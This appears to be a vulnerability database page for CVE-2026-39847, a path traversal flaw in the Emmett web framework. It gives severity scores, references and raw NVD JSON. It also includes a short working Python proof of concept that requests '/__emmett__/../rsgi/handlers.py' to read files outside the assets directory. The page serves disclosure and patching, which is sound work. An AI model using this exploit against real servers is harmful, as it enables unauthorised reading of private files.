CVE-2026-39847

Description

Emmett is a full-stack Python web framework designed with simplicity. From 2.5.0 to before 2.8.1, the RSGI static handler for Emmett's internal assets (/__emmett__ paths) is vulnerable to path traversal attacks. An attacker can use ../ sequences (eg /__emmett__/../rsgi/handlers.py) to read arbitrary files outside the assets directory. This vulnerability is fixed in 2.8.1.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:emmett:emmett:*:*:*:*:*:*:*:* - VULNERABLE

Emmett >= 2.5.0, < 2.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39847: Emmett Path Traversal
import requests

target_host = "http://127.0.0.1:8000"
# Attack payload using '../' to escape the assets directory
malicious_path = "/__emmett__/../rsgi/handlers.py"

print(f"Attempting to retrieve file from: {target_host}{malicious_path}")

try:
    response = requests.get(target_host + malicious_path)
    if response.status_code == 200:
        print("[+] Vulnerability confirmed! Content retrieved:")
        print(response.text)
    else:
        print(f"[-] Request returned status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39847
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39847
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39847/
[4] VulDB https://vuldb.com/cve/CVE-2026-39847
[5] https://github.com/emmett-framework/emmett/security/advisories/GHSA-pr46-2v3c-5356

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39847", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:23.793", "lastModified": "2026-04-16T04:31:28.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emmett is a full-stack Python web framework designed with simplicity. From 2.5.0 to before 2.8.1, the RSGI static handler for Emmett's internal assets (/__emmett__ paths) is vulnerable to path traversal attacks. An attacker can use ../ sequences (eg /__emmett__/../rsgi/handlers.py) to read arbitrary files outside the assets directory. This vulnerability is fixed in 2.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emmett:emmett:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.8.1", "matchCriteriaId": "82CB3A2E-E01B-4420-898F-517EE34E670F"}]}]}], "references": [{"url": "https://github.com/emmett-framework/emmett/security/advisories/GHSA-pr46-2v3c-5356", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}